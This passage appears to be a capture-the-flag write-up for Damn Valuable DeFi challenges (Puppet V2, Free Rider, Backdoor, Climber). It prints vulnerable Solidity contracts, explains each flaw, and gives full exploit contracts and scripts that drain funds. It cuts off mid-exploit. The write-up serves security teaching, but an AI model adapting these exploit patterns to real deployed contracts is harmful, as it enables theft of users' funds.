damn_valuable_token, weth9), uniswap_v2_pair_abi ) puppet_v2_pool = PuppetV2Pool.deploy( weth9, damn_valuable_token, uniswap_v2_pair, uniswap_v2_factory, {'from' : accounts[0 ]}) damn_valuable_token.transfer( ATTACKER_ACCOUNT, ATTACKER_INITIAL_TOKEN_BALANCE, {'from' : accounts[0 ]}) damn_valuable_token.transfer( puppet_v2_pool, POOL_INITIAL_TOKEN_BALANCE, {'from' : accounts[0 ]}) assert puppet_v2_pool.calculateDepositOfWETHRequired( '1 ether' ) == '0.3 ether' assert puppet_v2_pool.calculateDepositOfWETHRequired( POOL_INITIAL_TOKEN_BALANCE) == '300000 ether' return uniswap_v2_router, damn_valuable_token, weth9, puppet_v2_pool, ATTACKER_ACCOUNT def exploit (token, lending_pool, uniswap_router, weth9, attacker ): token.approve( uniswap_router, token.balanceOf(attacker), {'from' : attacker}) uniswap_router.swapExactTokensForETH(token.balanceOf(attacker), 1 , [ token, weth9], attacker, chain[-1 ].timestamp * 2 , {'from' : attacker}) weth9.deposit({'from' : attacker, 'value' : attacker.balance()}) token.approve(uniswap_router, ATTACKER_INITIAL_TOKEN_BALANCE, { 'from' : attacker}) weth9.approve(lending_pool, lending_pool.calculateDepositOfWETHRequired( token.balanceOf(lending_pool)), {'from' : attacker}) lending_pool.borrow(token.balanceOf( lending_pool), {'from' : attacker}) def after (token, lending_pool, attacker ): assert token.balanceOf(lending_pool) == 0 assert token.balanceOf(attacker) == POOL_INITIAL_TOKEN_BALANCE def main (): uniswap_v2_router, damn_valuable_token, weth9, puppet_v2_pool, ATTACKER_ACCOUNT = scenario_setup() exploit(damn_valuable_token, puppet_v2_pool, uniswap_v2_router, weth9, ATTACKER_ACCOUNT) after(damn_valuable_token, puppet_v2_pool, ATTACKER_ACCOUNT)
Free rider A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn’t know how to do it. So it’s offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.
You want to build some rep with this buyer, so you’ve agreed with the plan.
Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.
FreeRiderBuyer.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/utils/Address.sol" ;import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "@openzeppelin/contracts/token/ERC721/IERC721.sol" ;import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol" ;contract FreeRiderBuyer is ReentrancyGuard , IERC721Receiver { using Address for address payable; address private immutable partner; IERC721 private immutable nft; uint256 private constant JOB_PAYOUT = 45 ether; uint256 private received; constructor (address _partner, address _nft ) payable { require (msg.value == JOB_PAYOUT ); partner = _partner; nft = IERC721 (_nft); IERC721 (_nft).setApprovalForAll (msg.sender , true ); } function onERC721Received ( address, address, uint256 _tokenId, bytes memory ) external override nonReentrant returns (bytes4) { require (msg.sender == address (nft)); require (tx.origin == partner); require (_tokenId >= 0 && _tokenId <= 5 ); require (nft.ownerOf (_tokenId) == address (this )); received++; if (received == 6 ) { payable (partner).sendValue (JOB_PAYOUT ); } return IERC721Receiver .onERC721Received .selector ; } }
FreeRiderNFTMarketplace.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/utils/Address.sol" ;import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "../DamnValuableNFT.sol" ;contract FreeRiderNFTMarketplace is ReentrancyGuard { using Address for address payable; DamnValuableNFT public token; uint256 public amountOfOffers; mapping (uint256 => uint256) private offers; event NFTOffered (address indexed offerer, uint256 tokenId, uint256 price); event NFTBought (address indexed buyer, uint256 tokenId, uint256 price); constructor (uint8 amountToMint ) payable { require (amountToMint < 256 , "Cannot mint that many tokens" ); token = new DamnValuableNFT (); for (uint8 i = 0 ; i < amountToMint; i++) { token.safeMint (msg.sender ); } } function offerMany (uint256[] calldata tokenIds, uint256[] calldata prices ) external nonReentrant { require (tokenIds.length > 0 && tokenIds.length == prices.length ); for (uint256 i = 0 ; i < tokenIds.length ; i++) { _offerOne (tokenIds[i], prices[i]); } } function _offerOne (uint256 tokenId, uint256 price ) private { require (price > 0 , "Price must be greater than zero" ); require ( msg.sender == token.ownerOf (tokenId), "Account offering must be the owner" ); require ( token.getApproved (tokenId) == address (this ) || token.isApprovedForAll (msg.sender , address (this )), "Account offering must have approved transfer" ); offers[tokenId] = price; amountOfOffers++; emit NFTOffered (msg.sender , tokenId, price); } function buyMany (uint256[] calldata tokenIds ) external payable nonReentrant { for (uint256 i = 0 ; i < tokenIds.length ; i++) { _buyOne (tokenIds[i]); } } function _buyOne (uint256 tokenId ) private { uint256 priceToPay = offers[tokenId]; require (priceToPay > 0 , "Token is not being offered" ); require (msg.value >= priceToPay, "Amount paid is not enough" ); amountOfOffers--; token.safeTransferFrom (token.ownerOf (tokenId), msg.sender , tokenId); payable (token.ownerOf (tokenId)).sendValue (priceToPay); emit NFTBought (msg.sender , tokenId, priceToPay); } receive () external payable {} }
Our goal is to buy six NFTs with the actual price of 15 ether
for less cheap. Here the FreeRiderNFTMarketplace
contract has a buymany()
function which checks if the msg. Value is > 15 ether for each NTFs hence we can buy as many NTFs as we like with just the price of one nft that is 15 ether and addition to that, the contract tries to send the ether to the seller, but fortunately, it is transferring the contract to us then retrieving the owner of the nft to get the seller address, since the contract is transferring the nft first the owner is the attacker, so it sends the 15 ether
back to the attacker. However, unlike the attacker, the contract sends 15 ether
6 times . Nevertheless, to happen all this, the attacker needs 15 ether
to get that. He needs to take a flashSwap from the uniswap contract.
freerider_exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "@openzeppelin/contracts/token/ERC721/IERC721.sol" ;import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol" ;import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol" ;import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol" ;import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol" ;interface WETH9 { function deposit ( ) external payable; function withdraw (uint256 wad ) external; function transfer (address dst, uint256 wad ) external returns (bool); } interface FreeRiderNFTMarketplace { function buyMany (uint256[] calldata tokenIds ) external payable; } contract freerider_Exploit is IUniswapV 2Callee { WETH9 weth; IUniswapV 2Pair pair; IERC721 nft; FreeRiderNFTMarketplace market; address buyer; event Log (string message, uint256 val); constructor ( address _weth, address _pair, address _nft, address _market, address _buyer ) payable { require (msg.value >= 0.5 ether); pair = IUniswapV 2Pair(_pair); nft = IERC721 (_nft); market = FreeRiderNFTMarketplace (_market); buyer = _buyer; weth = WETH9 (_weth); weth.deposit {value : 0.5 ether}(); } function exploit ( ) external { require (address (pair) != address (0 ), "!pair" ); address token0 = pair.token0 (); address token1 = pair.token1 (); uint256 amount0Out = address (weth) == token0 ? 15 ether : 0 ; uint256 amount1Out = address (weth) == token1 ? 15 ether : 0 ; bytes memory data = abi.encode (address (weth), 15 ether); pair.swap (amount0Out, amount1Out, address (this ), data); } function uniswapV2Call ( address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data ) external override { require (_sender == address (this ), "!sender" ); (address tokenBorrow, uint256 amount) = abi.decode ( _data, (address, uint256) ); uint256 fee = ((amount * 3 ) / 997 ) + 1 ; uint256 amountToRepay = amount + fee; uint256[] memory Ids = new uint256[](6 ); for (uint256 i = 0 ; i < 6 ; i++) { Ids [i] = i; } weth.withdraw (15 ether); market.buyMany {value : 15 ether}(Ids ); weth.deposit {value : 15 ether}(); for (uint256 i = 0 ; i < 6 ; i++) { nft.safeTransferFrom (address (this ), buyer, i); } payable (tx.origin ).transfer (address (this ).balance ); IERC20 (tokenBorrow).transfer (address (pair), amountToRepay); } function onERC721Received ( address, address, uint256 _tokenId, bytes memory ) external returns (bytes4) { return IERC721Receiver .onERC721Received .selector ; } receive () external payable {} }
freerider.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 import jsonfrom brownie import (WETH9, Contract, DamnValuableNFT, DamnValuableToken, FreeRiderBuyer, FreeRiderNFTMarketplace, accounts, chain, freerider_Exploit) from web3 import Web3RANDOM_ADDRESS = '0x5832727e34162736F3e7082EDad9DCfD76e15D0a' RANDOM_ADDRESS_PK = '57f7f022e5941d0573114e2aab6e08aeb9a6f28b42d48e63a374783d7f1fdadb' ATTACKER_INITIAL_ETH_BALANCE = Web3.toWei(0.5 , 'ether' ) NFT_PRICE = Web3.toWei(15 , 'ether' ) AMOUNT_OF_NFTS = 6 MARKETPLACE_INITIAL_ETH_BALANCE = Web3.toWei(90 , 'ether' ) BUYER_PAYOUT = Web3.toWei(45 , 'ether' ) UNISWAP_INITIAL_TOKEN_RESERVE = Web3.toWei(15000 , 'ether' ) UNISWAP_INITIAL_WETH_RESERVE = Web3.toWei(9000 , 'ether' ) def load_json (json_file ): with open (f'./scripts/build-uniswap-v2/{json_file} ' , 'r' ) as f: contract_metadata = json.loads(f.read()) contract_abi = contract_metadata['abi' ] contract_bytecode = contract_metadata['bytecode' ] return contract_abi, contract_bytecode def deploy_bytecode (contract_abi, contract_bytecode, *args ): w3_client = Web3(Web3.HTTPProvider('http://0.0.0.0:8545' )) temp_contract = w3_client.eth.contract( abi=contract_abi, bytecode=contract_bytecode) n = w3_client.eth.get_transaction_count(RANDOM_ADDRESS) tx = temp_contract.constructor(*args).buildTransaction( {'from' : RANDOM_ADDRESS, 'nonce' : n, 'gasPrice' : w3_client.eth.gas_price} ) signed_tx = w3_client.eth.account.sign_transaction( tx, private_key=RANDOM_ADDRESS_PK) accounts[0 ].transfer(RANDOM_ADDRESS, '1 ether' ) txh = w3_client.eth.send_raw_transaction(signed_tx.rawTransaction) tx_receipt = w3_client.eth.wait_for_transaction_receipt(txh) return tx_receipt.contractAddress def scenario_setup (): ATTACKER_ACCOUNT = accounts.add() accounts[1 ].transfer(ATTACKER_ACCOUNT, '0.5 ether' ) assert ATTACKER_ACCOUNT.balance() == ATTACKER_INITIAL_ETH_BALANCE BUYER_ACCOUNT = accounts.add() accounts[1 ].transfer(BUYER_ACCOUNT, '50 ether' ) damn_valuable_token = DamnValuableToken.deploy({'from' : accounts[0 ]}) weth9 = WETH9.deploy({'from' : accounts[0 ]}) uniswap_v2_factory_abi, uniswap_v2_factory_bytecode = load_json( 'UniswapV2Factory.json' ) uniswap_v2_factory_address = deploy_bytecode( uniswap_v2_factory_abi, uniswap_v2_factory_bytecode, '0x0000000000000000000000000000000000000000' ) uniswap_v2_factory = Contract.from_abi( 'UniswapV2Factory' , uniswap_v2_factory_address, uniswap_v2_factory_abi ) uniswap_v2_router_abi, uniswap_v2_router_bytecode = load_json( 'UniswapV2Router02.json' ) uniswap_v2_router_address = deploy_bytecode( uniswap_v2_router_abi, uniswap_v2_router_bytecode, uniswap_v2_factory.address, weth9.address) uniswap_v2_router = Contract.from_abi( 'UniswapV2Router' , uniswap_v2_router_address, uniswap_v2_router_abi) damn_valuable_token.approve( uniswap_v2_router, UNISWAP_INITIAL_TOKEN_RESERVE, {'from' : accounts[0 ]}) deadline = chain[-1 ].timestamp * 2 tx = uniswap_v2_router.addLiquidityETH(damn_valuable_token.address, UNISWAP_INITIAL_TOKEN_RESERVE, 0 , 0 , RANDOM_ADDRESS, deadline, { 'from' : accounts[0 ], 'value' : UNISWAP_INITIAL_WETH_RESERVE}) uniswap_v2_pair_abi, uniswap_v2_pair_bytecode = load_json( 'UniswapV2Pair.json' ) uniswap_v2_pair = Contract.from_abi( 'UniswapV2Pair' , uniswap_v2_factory.getPair( weth9, damn_valuable_token), uniswap_v2_pair_abi ) assert uniswap_v2_pair.token0() == damn_valuable_token assert uniswap_v2_pair.token1() == weth9 assert uniswap_v2_pair.balanceOf(RANDOM_ADDRESS) > 0 marketplace = FreeRiderNFTMarketplace.deploy( AMOUNT_OF_NFTS, {'from' : accounts[0 ], 'value' : MARKETPLACE_INITIAL_ETH_BALANCE}) nft = DamnValuableNFT.at(marketplace.token()) for id in range (AMOUNT_OF_NFTS): assert nft.ownerOf(id ) == accounts[0 ] nft.setApprovalForAll(marketplace, True , {'from' : accounts[0 ]}) marketplace.offerMany([x for x in range (6 )], [ NFT_PRICE for _ in range (6 )], {'from' : accounts[0 ]}) assert marketplace.amountOfOffers() == 6 return uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, BUYER_ACCOUNT def setup_buyer_contract (partner_address, nft_address, buyer_account ): buyer_contract = FreeRiderBuyer.deploy(partner_address, nft_address, { 'from' : buyer_account, 'value' : BUYER_PAYOUT}) return buyer_contract def exploit (uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, buyer_contract ): exploit = freerider_Exploit.deploy(weth9, uniswap_v2_pair, nft, marketplace, buyer_contract, { 'from' : ATTACKER_ACCOUNT, 'value' : '0.5 ether' }) exploit.exploit({'from' : ATTACKER_ACCOUNT}) def after (marketplace, nft, buyer_contract, buyer, attacker ): assert attacker.balance() > BUYER_PAYOUT assert buyer_contract.balance() == 0 for i in range (AMOUNT_OF_NFTS): nft.transferFrom(buyer_contract, buyer, i, {'from' : buyer}) assert nft.ownerOf(i) == buyer assert marketplace.amountOfOffers() == 0 assert marketplace.balance() < MARKETPLACE_INITIAL_ETH_BALANCE def main (): uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, BUYER_ACCOUNT = scenario_setup() buyer_contract = setup_buyer_contract(ATTACKER_ACCOUNT, nft, BUYER_ACCOUNT) exploit(uniswap_v2_pair, marketplace, nft, weth9, ATTACKER_ACCOUNT, buyer_contract) after(marketplace, nft, buyer_contract, BUYER_ACCOUNT, ATTACKER_ACCOUNT)
Backdoor To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
WalletRegistry.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/access/Ownable.sol" ;import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol" ;import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol" ;contract WalletRegistry is IProxyCreationCallback , Ownable { uint256 private constant MAX_OWNERS = 1 ; uint256 private constant MAX_THRESHOLD = 1 ; uint256 private constant TOKEN_PAYMENT = 10 ether; address public immutable masterCopy; address public immutable walletFactory; IERC20 public immutable token; mapping (address => bool) public beneficiaries; mapping (address => address) public wallets; constructor ( address masterCopyAddress, address walletFactoryAddress, address tokenAddress, address[] memory initialBeneficiaries ) { require (masterCopyAddress != address (0 )); require (walletFactoryAddress != address (0 )); masterCopy = masterCopyAddress; walletFactory = walletFactoryAddress; token = IERC20 (tokenAddress); for (uint256 i = 0 ; i < initialBeneficiaries.length ; i++) { addBeneficiary (initialBeneficiaries[i]); } } function addBeneficiary (address beneficiary ) public onlyOwner { beneficiaries[beneficiary] = true ; } function _removeBeneficiary (address beneficiary ) private { beneficiaries[beneficiary] = false ; } function proxyCreated ( GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256 ) external override { require (token.balanceOf (address (this )) >= TOKEN_PAYMENT , "Not enough funds to pay" ); address payable walletAddress = payable (proxy); require (msg.sender == walletFactory, "Caller must be factory" ); require (singleton == masterCopy, "Fake mastercopy used" ); require (bytes4 (initializer[:4 ]) == GnosisSafe .setup .selector , "Wrong initialization" ); require (GnosisSafe (walletAddress).getThreshold () == MAX_THRESHOLD , "Invalid threshold" ); require (GnosisSafe (walletAddress).getOwners ().length == MAX_OWNERS , "Invalid number of owners" ); address walletOwner = GnosisSafe (walletAddress).getOwners ()[0 ]; require (beneficiaries[walletOwner], "Owner is not registered as beneficiary" ); _removeBeneficiary (walletOwner); wallets[walletOwner] = walletAddress; token.transfer (walletAddress, TOKEN_PAYMENT ); } }
To complete this challenge, we need to steal 40 DVT
‘s. Let us look at the contract WalletRegisty
. Everything looks okay, and even in the GnosisSafe
contract, since the beneficiaries
did not yet create their wallets, we have an opportunity to register their wallet and pass the parameters of the setup()
function. With this advantage, we can pass the exploit-contract’s address for the fallbackHandler
parameter, which allows the proxy to delegate the fallback functions to the exploit-contract, which executes the “DVT.transfer()” function. Since it is a deligatecall
from the proxy to DVT
(via expoit-contract), the transfer will be successful. Repeating this with every one of the beneficiaries gives the 40 DVT
to the attacker.
This solution is partly taken from this-repository since I’m unable to run the challenge in my environment.
backdoor_exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;interface IWalletFactory { function createProxyWithCallback ( address _singleton, bytes memory initializer, uint256 saltNonce, address callback ) external returns (address proxy);} contract backdoor_Exploit { uint256 private constant TOKEN_PAYMENT = 10 ether; address[] victims; address walletFactory; address walletRegistry; IERC20 token; address masterCopy; address wallet; address attacker; constructor ( address[] memory _victims, address _walletFactory, address _walletRegistry, address _masterCopy, address _tokenAddress, address _attacker ) { victims = _victims; walletFactory = _walletFactory; walletRegistry = _walletRegistry; token = IERC20 (_tokenAddress); masterCopy = _masterCopy; attacker = _attacker; for (uint8 index; index < victims.length ; index++) { address[] memory _v = new address[](1 ); _v[0 ] = victims[index]; bytes memory data = abi.encodeWithSignature ( "setup(address[],uint256,address,bytes,address,address,uint256,address)" , _v, uint256 (1 ), address (0 ), address (0 ), address (this ), address (0 ), uint256 (0 ), address (0 ) ); wallet = IWalletFactory (walletFactory).createProxyWithCallback ( masterCopy, data, 0 , walletRegistry ); (bool success, bytes memory res) = address (wallet).call ( abi.encodeWithSignature ( "transfer(address,uint256)" , attacker, TOKEN_PAYMENT ) ); } } function transfer (address to, uint256 amount ) public { token.transfer (to, amount); } }
backdoor.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from brownie import DamnValuableToken, WalletRegistry, accounts, project, backdoor_Exploit, ZERO_ADDRESSfrom web3 import Web3AMOUNT_TOKENS_DISTRIBUTED = Web3.toWei(40 , 'ether' ) def scenario_setup (): ATTACKER_ACCOUNT = accounts.add() ALICE = accounts.add() BOB = accounts.add() CHARLIE = accounts.add() DAVID = accounts.add() users = [ALICE, BOB, CHARLIE, DAVID] gnosis_project = project.load( 'safe-global/safe-contracts@1.3.0' , name='GnosisSafe' ) master_copy = gnosis_project.GnosisSafe.deploy({'from' : accounts[0 ]}) wallet_factory = gnosis_project.GnosisSafeProxyFactory.deploy( {'from' : accounts[0 ]}) token = DamnValuableToken.deploy({'from' : accounts[0 ]}) wallet_registry = WalletRegistry.deploy( master_copy, wallet_factory, token, users, {'from' : accounts[0 ]}) for user in users: assert wallet_registry.beneficiaries(user) == True token.transfer(wallet_registry, AMOUNT_TOKENS_DISTRIBUTED, {'from' : accounts[0 ]}) return master_copy, wallet_registry, wallet_factory, token, ATTACKER_ACCOUNT, ALICE, BOB, CHARLIE, DAVID def exploit (victims, wallet_factory, wallet_registry, master_copy, dvt, attacker ): attacker_contract = backdoor_Exploit.deploy( victims, wallet_factory, wallet_registry, master_copy, dvt, attacker, {'from' : attacker}) def after (victims, wallet_registry, dvt, attacker ): for i in victims: wallet = wallet_registry.wallets(i) assert wallet != ZERO_ADDRESS, "User did not register a wallet" assert wallet_registry.beneficiaries(i) == False assert dvt.balanceOf(attacker) == AMOUNT_TOKENS_DISTRIBUTED def main (): master_copy, wallet_registry, wallet_factory, token, ATTACKER_ACCOUNT, ALICE, BOB, CHARLIE, DAVID = scenario_setup() users = [ALICE, BOB, CHARLIE, DAVID] exploit(users, wallet_factory, wallet_registry, master_copy, token, ATTACKER_ACCOUNT) after(victims, wallet_registry, dvt, attacker)
Climber There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern .
The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.
On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.
Your goal is to empty the vault.
ClimberTimelock.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/access/AccessControl.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;contract ClimberTimelock is AccessControl { using Address for address; bytes32 public constant ADMIN_ROLE = keccak256 ("ADMIN_ROLE" ); bytes32 public constant PROPOSER_ROLE = keccak256 ("PROPOSER_ROLE" ); enum OperationState { Unknown , Scheduled , ReadyForExecution , Executed } struct Operation { uint64 readyAtTimestamp; bool known; bool executed; } mapping (bytes32 => Operation ) public operations; uint64 public delay = 1 hours; constructor ( address admin, address proposer ) { _setRoleAdmin (ADMIN_ROLE , ADMIN_ROLE ); _setRoleAdmin (PROPOSER_ROLE , ADMIN_ROLE ); _setupRole (ADMIN_ROLE , admin); _setupRole (ADMIN_ROLE , address (this )); _setupRole (PROPOSER_ROLE , proposer); } function getOperationState (bytes32 id ) public view returns (OperationState ) { Operation memory op = operations[id]; if (op.executed ) { return OperationState .Executed ; } else if (op.readyAtTimestamp >= block.timestamp ) { return OperationState .ReadyForExecution ; } else if (op.readyAtTimestamp > 0 ) { return OperationState .Scheduled ; } else { return OperationState .Unknown ; } } function getOperationId ( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) public pure returns (bytes32) { return keccak256 (abi.encode (targets, values, dataElements, salt)); } function schedule ( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external onlyRole (PROPOSER_ROLE ) { require (targets.length > 0 && targets.length < 256 ); require (targets.length == values.length ); require (targets.length == dataElements.length ); bytes32 id = getOperationId (targets, values, dataElements, salt); require (getOperationState (id) == OperationState .Unknown , "Operation already known" ); operations[id].readyAtTimestamp = uint64 (block.timestamp ) + delay; operations[id].known = true ; } function execute ( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external payable { require (targets.length > 0 , "Must provide at least one target" ); require (targets.length == values.length ); require (targets.length == dataElements.length ); bytes32 id = getOperationId (targets, values, dataElements, salt); for (uint8 i = 0 ; i < targets.length ; i++) { targets[i].functionCallWithValue (dataElements[i], values[i]); } require (getOperationState (id) == OperationState .ReadyForExecution ); operations[id].executed = true ; } function updateDelay (uint64 newDelay ) external { require (msg.sender == address (this ), "Caller must be timelock itself" ); require (newDelay <= 14 days, "Delay must be 14 days or less" ); delay = newDelay; } receive () external payable {} }
ClimberVault.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol" ;import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol" ;import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol" ;import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "./ClimberTimelock.sol" ;contract ClimberVault is Initializable , OwnableUpgradeable , UUPSUpgradeable { uint256 public constant WITHDRAWAL_LIMIT = 1 ether; uint256 public constant WAITING_PERIOD = 15 days; uint256 private _lastWithdrawalTimestamp; address private _sweeper; modifier onlySweeper ( ) { require (msg.sender == _sweeper, "Caller must be sweeper" ); _; } constructor ( ) initializer {} function initialize (address admin, address proposer, address sweeper ) initializer external { __Ownable_init (); __UUPSUpgradeable_init (); transferOwnership (address (new ClimberTimelock (admin, proposer))); _setSweeper (sweeper); _setLastWithdrawal (block.timestamp ); _lastWithdrawalTimestamp = block.timestamp ; } function withdraw (address tokenAddress, address recipient, uint256 amount ) external onlyOwner { require (amount <= WITHDRAWAL_LIMIT , "Withdrawing too much" ); require (block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD , "Try later" ); _setLastWithdrawal (block.timestamp ); IERC20 token = IERC20 (tokenAddress); require (token.transfer (recipient, amount), "Transfer failed" ); } function sweepFunds (address tokenAddress ) external onlySweeper { IERC20 token = IERC20 (tokenAddress); require (token.transfer (_sweeper, token.balanceOf (address (this ))), "Transfer failed" ); } function getSweeper ( ) external view returns (address) { return _sweeper; } function _setSweeper (address newSweeper ) internal { _sweeper = newSweeper; } function getLastWithdrawalTimestamp ( ) external view returns (uint256) { return _lastWithdrawalTimestamp; } function _setLastWithdrawal (uint256 timestamp ) internal { _lastWithdrawalTimestamp = timestamp; } function _authorizeUpgrade (address newImplementation ) internal onlyOwner override {} }
Our goal is to steal all the tokens from climberVault
. This will be easy if we access the sweepFunds()
function. To get that, we need to be the owner. So we need to upgrade the contract to our custom contract and execute the sweepFunds()
function. If we look at the climberTimelock
contract, it allows us to execute the code so that we can execute the _authorizeUpgrade()
function. Since this contract is the owner, it can execute the function. However, to schedule our operations in the climberTimelock
contract, we need to have a Proposer
role, however inside the execute()
function, the contract first executes the given operations and then check if the operations are scheduled, so if we give one of the operations to execute the schedule()
function and make the delay
to 0
by executing UpdateDelay()
function now our operations are scheduled. They are valid, so now we can execute the _authorizeUpgrade()
function to our MaliciousClimberVault
, which sets the attacker as sweeper, and the attacker can execute sweepFunds()
to steal all the tokens.
This solution is partly taken from this-repository since I’m unable to run the challenge in my environment.
climber_Exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 pragma solidity ^0.8 .0 ; interface IClimberTimeLock { function updateDelay (uint64 newDelay ) external; function grantRole (bytes32 role, address account ) external; function schedule ( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external; function execute ( address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt ) external;} contract climber_Exploit { address victimAddress; address vaultAddress; address maliciousContract; address owner; bytes32 public constant PROPOSER_ROLE = keccak256 ("PROPOSER_ROLE" ); bool alreadyScheduled = false ; constructor ( address _vaulTimeLock, address _vault, address _maliciousContract ) { victimAddress = _vaulTimeLock; vaultAddress = _vault; maliciousContract = _maliciousContract; owner = msg.sender ; } function attack ( ) public { address[] memory targets = new address[](4 ); targets[0 ] = victimAddress; targets[1 ] = victimAddress; targets[2 ] = vaultAddress; targets[3 ] = address 